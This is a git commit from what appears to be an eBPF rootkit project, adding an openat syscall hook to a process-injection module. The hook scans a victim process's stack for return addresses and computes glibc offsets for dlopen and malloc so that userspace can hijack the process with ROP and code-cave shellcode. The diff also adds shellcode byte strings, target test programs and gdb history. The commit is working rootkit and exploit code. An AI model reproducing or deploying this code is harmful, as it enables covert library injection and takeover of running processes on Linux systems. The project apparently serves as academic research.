Added sys_openat for the injection module, fully working!

This commit is contained in:
h3xduck
2022-05-16 08:02:38 -04:00
parent abc501d4be
commit 4044d7994c
16 changed files with 24017 additions and 12699 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -24,7 +24,7 @@
#define EXEC_HIJACK_ACTIVE_TEMP 0
//LIBRARY INJECTION WITH ROP
#define TASK_COMM_NAME_ROP_TARGET "simple_timer"
#define TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME "simple_timer"
#define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
"\x55\x50\x51\x52\x53\x57\x56\
@@ -49,7 +49,9 @@
\x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37
#define TASK_COMM_NAME_INJECTION_TARGET_OPEN "simple_open"
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 0
#endif

View File

@@ -18,7 +18,8 @@
#define OPCODE_PLT_JMP_BYTE_1 0x25
#define OPCODE_PLT_RERLO_BYTE_0 0xf3
#define OPCODE_PLT_RERLO_BYTE_1 0x0f
#define GLIBC_OFFSET_MAIN_TO_SYSCALL 0xf00d0
#define GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME 0xf00d0
#define GLIBC_OFFSET_MAIN_TO_OPENAT 0xdf580
#define GLIBC_OFFSET_MAIN_TO_DLOPEN 0x12f120
#define GLIBC_OFFSET_MAIN_TO_MALLOC 0x6eca0
@@ -39,6 +40,16 @@ struct sys_timerfd_settime_exit_ctx {
long ret;
};
//struct sys_openat_enter_ctx {}
//Defined in fs.h
enum syscall_injection_supported{
SYS_TIMERFD_SETTIME,
SYS_OPENAT
};
/**
* @brief Checks whether the format of the syscall is the expected one
*
@@ -46,8 +57,9 @@ struct sys_timerfd_settime_exit_ctx {
* @param size
* @return 0 if correct, 1 otherwise
*/
static __always_inline int check_syscall_opcodes(__u8* opcodes){
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE
static __always_inline int check_syscall_opcodes(__u8* opcodes, enum syscall_injection_supported sys){
if(sys==SYS_TIMERFD_SETTIME){
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE
&&*/ opcodes[1]==0x0f
&& opcodes[2]==0x1e
&& opcodes[3]==0xfa
@@ -61,10 +73,26 @@ static __always_inline int check_syscall_opcodes(__u8* opcodes){
&& opcodes[11]==0x00
&& opcodes[12]==0x0f
&& opcodes[13]==0x05);
}else if(sys == SYS_OPENAT){
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE
&&*/ opcodes[1]==0x0f
&& opcodes[2]==0x1e
&& opcodes[3]==0xfa
&& opcodes[4]==0x48
&& opcodes[5]==0x83
&& opcodes[6]==0xec
&& opcodes[7]==0x78
&& opcodes[8]==0x48
&& opcodes[9]==0x89
&& opcodes[10]==0x4c
&& opcodes[11]==0x24
&& opcodes[12]==0x58
&& opcodes[13]==0x64);
}
return 1;
}
static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
static __always_inline int stack_extract_return_address_plt(__u64 stack_rip, enum syscall_injection_supported sys){
//We have a possible RIP from the stack, to which we can take the previous instruction,
//and check if its opcodes correspond with the expected format
__u64 *entry_call_addr = (__u64*)(stack_rip - 0x5);
@@ -112,6 +140,7 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
int plt_found = 0;
int relro_active = 0;
//Check documentation for details on jump recognition.
if(libc_opcodes[0]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_JMP_BYTE_1){
@@ -175,7 +204,7 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
for(int ii=0; ii<14; ii++){
//bpf_printk("S_OPC %i: %x\n",ii,s_opcode[ii]);
}
if(check_syscall_opcodes(s_opcode)!=0){
if(check_syscall_opcodes(s_opcode, sys)!=0){
bpf_printk("Not the expected syscall\n");
return -1;
}
@@ -223,7 +252,7 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
return -1;
}
char *task = TASK_COMM_NAME_ROP_TARGET;
char *task = TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0;
}
@@ -241,7 +270,7 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
//if it truly is the saved RIP (checking that there is a path to the actual syscall).
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
//bpf_printk("stack: %lx\n", address);
if(stack_extract_return_address_plt(address)==0){
if(stack_extract_return_address_plt(address, SYS_TIMERFD_SETTIME)==0){
//We found the return address
__u64 found_return_address = *scanner - ii;
//We put it in an internal map.
@@ -269,9 +298,9 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
//Tell userspace to perform operations on localized addresses
int pid = bpf_get_current_pid_tgid() >> 32;
ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC,
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME + GLIBC_OFFSET_MAIN_TO_DLOPEN,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME + GLIBC_OFFSET_MAIN_TO_MALLOC,
addr->got_address, addr->libc_syscall_address, addr->relro_active);
return 0;
@@ -291,7 +320,7 @@ int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
if(err<0){
return -1;
}
char *task = TASK_COMM_NAME_ROP_TARGET;
char *task = TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0;
}
@@ -307,9 +336,87 @@ int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
struct inj_ret_address_data addr = *inj_ret_addr;
bpf_printk("PID: %u, SYSCALL_ADDR: %lx, STACK_RET_ADDR: %lx", pid, addr.libc_syscall_address, addr.stack_ret_address);
bpf_printk("Address of libc main: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL);
bpf_printk("Address of libc_dlopen_mode: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN);
bpf_printk("Address of malloc: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC);
bpf_printk("Address of libc main: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME);
bpf_printk("Address of libc_dlopen_mode: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME + GLIBC_OFFSET_MAIN_TO_DLOPEN);
bpf_printk("Address of malloc: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME + GLIBC_OFFSET_MAIN_TO_MALLOC);
return 0;
}
SEC("tp/syscalls/sys_enter_openat")
int sys_enter_openat(struct sys_openat_enter_ctx *ctx){
__u64 *scanner = (__u64*)ctx->filename;
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err<0){
return -1;
}
char *task = TASK_COMM_NAME_INJECTION_TARGET_OPEN;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0;
}
struct pt_regs* longscan;// = (struct pt_regs*)ctx->unused;
bpf_probe_read(&longscan, sizeof(struct pt_regs*), &(ctx->unused));
unsigned long rbp_reg;
bpf_probe_read(&rbp_reg, sizeof(unsigned long), &(longscan->bp));
bpf_printk("Called openat, scanner: %lx; rbp: %lx\n", scanner, rbp_reg);
bpf_printk("TASK: %s\n", comm);
long timesecs;
//bpf_probe_read_user(&timesecs, sizeof(long), &(new->it_interval.tv_sec));
//bpf_printk("AG %ld\n",timesecs);
__u64 address = 0;
//Let's try to use the rbp as a scanner for this one, provided that the argument filename
//is stored in the heap.
scanner = (__u64*)rbp_reg;
bpf_printk("Called the open syscall tracepoint\n");
#pragma unroll
for(__u64 ii=0; ii<200; ii++){
//We got a foothold in the stack via the syscall argument, now we scan to lower memory
//positions assuming those are the saved RIP. We will then perform checks in order to see
//if it truly is the saved RIP (checking that there is a path to the actual syscall).
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
bpf_printk("stack: %lx\n", address);
if(stack_extract_return_address_plt(address, SYS_OPENAT)==0){
//We found the return address
__u64 found_return_address = *scanner - ii;
//We put it in an internal map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
return -1;
}
struct inj_ret_address_data *addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (addr == NULL){
//It means we failed to insert into the map before
return -1;
}
//struct inj_ret_address_data addr = *inj_ret_addr;
//struct inj_ret_address_data addr;
//bpf_probe_read(&addr, sizeof(struct inj_ret_address_data), inj_ret_addr);
addr->stack_ret_address = (__u64)scanner - ii;
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, addr, BPF_EXIST)<0){
bpf_printk("Failed to insert the return address in bpf map\n");
return -1;
}
bpf_printk("Final found return address: %lx\n", addr->stack_ret_address);
bpf_printk("GOT address: %lx\n", addr->got_address);
//Tell userspace to perform operations on localized addresses
int pid = bpf_get_current_pid_tgid() >> 32;
ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_OPENAT,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_OPENAT + GLIBC_OFFSET_MAIN_TO_DLOPEN,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_OPENAT + GLIBC_OFFSET_MAIN_TO_MALLOC,
addr->got_address, addr->libc_syscall_address, addr->relro_active);
return 0;
}
}
bpf_printk("Finished without findings\n");
return 0;
}

View File

@@ -1,72 +1,3 @@
q
disass main
b *(main+446)
r
ssi
si
ni
1
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
si
ni
si
si
si
fin
q
b *(main+446)
r
si
ni
si
ni
q
b *(main+446)
r
si
si
ni
si
ni
si
si
s
q
b *(main+446)
r
ni
@@ -254,3 +185,72 @@ si
ni
si
q
l main
b 15
r
si
si
q
l main
b 14
r
si
si
si
siq
q
b 15
r
si
si
Q
q
b 15
r
si
q
b 15
r
si
sqi
q
b 15
r
si
si
q
l main
b 15
r
si
q
b 14
r
si
si
q
b 15
r
si
si
si
q
b 15
r
si
q
b 15
t
r
si
q
b 14
r
si
ni
si
ni
stepi
fin
fin
q

View File

@@ -3,7 +3,7 @@ HEADERS = lib/RawTCP.h
EXTRA_CFLAGS= -I$(PWD)/lib
default:
make execve_hijack injection_lib simple_timer
make execve_hijack injection_lib simple_timer simple_open
injection_lib: injection_lib.o
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
@@ -14,6 +14,12 @@ simple_timer.o: simple_timer.c $(HEADERS)
simple_timer: simple_timer.o
gcc -g -o simple_timer simple_timer.o
simple_open.o: simple_open.c $(HEADERS)
gcc -g -c simple_open.c
simple_open: simple_open.o
gcc -g -o simple_open simple_open.o
execve_hijack.o: execve_hijack.c $(HEADERS)
gcc -g -c execve_hijack.c
@@ -26,4 +32,6 @@ clean:
-rm -f injection_lib.o
-rm -f injection_lib.so
-rm -f simple_timer.o
-rm -f simple_timer
-rm -f simple_timer
-rm -f simple_open.o
-rm -f simple_open

View File

@@ -0,0 +1,2 @@
break /home/osboxes/TFG/src/helpers/simple_open.c:14

BIN
src/helpers/simple_open Executable file

Binary file not shown.

22
src/helpers/simple_open.c Normal file
View File

@@ -0,0 +1,22 @@
/**
* Modified version of Linux man page timer using timerfd.
* Counts to 3, 1 second at a time, then sets another time up to 3, one second at a time.
*/
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char *argv[]) {
int fd;
char* path = "/home/osboxes/TFG/src/helpers/Makefile";
openat(fd, path, O_RDONLY);
//Second call
openat(fd, path, O_RDONLY);
return 0;
}

BIN
src/helpers/simple_open.o Normal file

Binary file not shown.

View File

@@ -17,10 +17,15 @@ int attach_sys_exit_timerfd_settime(struct kit_bpf *skel){
skel->links.sys_exit_timerfd_settime = bpf_program__attach(skel->progs.sys_exit_timerfd_settime);
return libbpf_get_error(skel->links.sys_exit_timerfd_settime);
}
int attach_sys_enter_openat(struct kit_bpf *skel){
skel->links.sys_enter_openat = bpf_program__attach(skel->progs.sys_enter_openat);
return libbpf_get_error(skel->links.sys_enter_openat);
}
int attach_injection_all(struct kit_bpf *skel){
return attach_sys_enter_timerfd_settime(skel)
|| attach_sys_exit_timerfd_settime(skel);;
|| attach_sys_exit_timerfd_settime(skel)
|| attach_sys_enter_openat(skel);
}
@@ -40,10 +45,19 @@ int detach_sys_exit_timerfd_settime(struct kit_bpf *skel){
}
return 0;
}
int detach_sys_enter_openat(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_enter_openat);
if(err<0){
fprintf(stderr, "Failed to detach injection link\n");
return -1;
}
return 0;
}
int detach_injection_all(struct kit_bpf *skel){
return detach_sys_enter_timerfd_settime(skel)
|| detach_sys_exit_timerfd_settime(skel);
|| detach_sys_exit_timerfd_settime(skel)
|| detach_sys_enter_openat(skel);
}
#endif

View File

@@ -91,6 +91,7 @@ int setup_all_modules(){
}else{
if(config.injection_module.sys_enter_timerfd_settime == ON) ret = attach_sys_enter_timerfd_settime(attr.skel);
if(config.injection_module.sys_exit_timerfd_settime == ON) ret = attach_sys_exit_timerfd_settime(attr.skel);
if(config.injection_module.sys_enter_openat == ON) ret = attach_sys_enter_openat(attr.skel);
}
if(ret!=0) return -1;

View File

@@ -39,6 +39,7 @@ typedef struct module_config_t{
char all;
char sys_enter_timerfd_settime;
char sys_exit_timerfd_settime;
char sys_enter_openat;
}injection_module;
} module_config_t;

View File

@@ -402,9 +402,15 @@ int main(int argc, char**argv){
module_config.sched_module.all = ON;
//FS
module_config.fs_module.all = ON;
//INJECTION
module_config.injection_module.all = ON;
module_config_attr.skel = skel;
err = setup_all_modules();
if(err!=0){
perror("ERROR setting up the rootkit hooks");
}
// Set up ring buffer polling --> Main communication buffer kernel->user
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb_comm), handle_rb_event, NULL, NULL);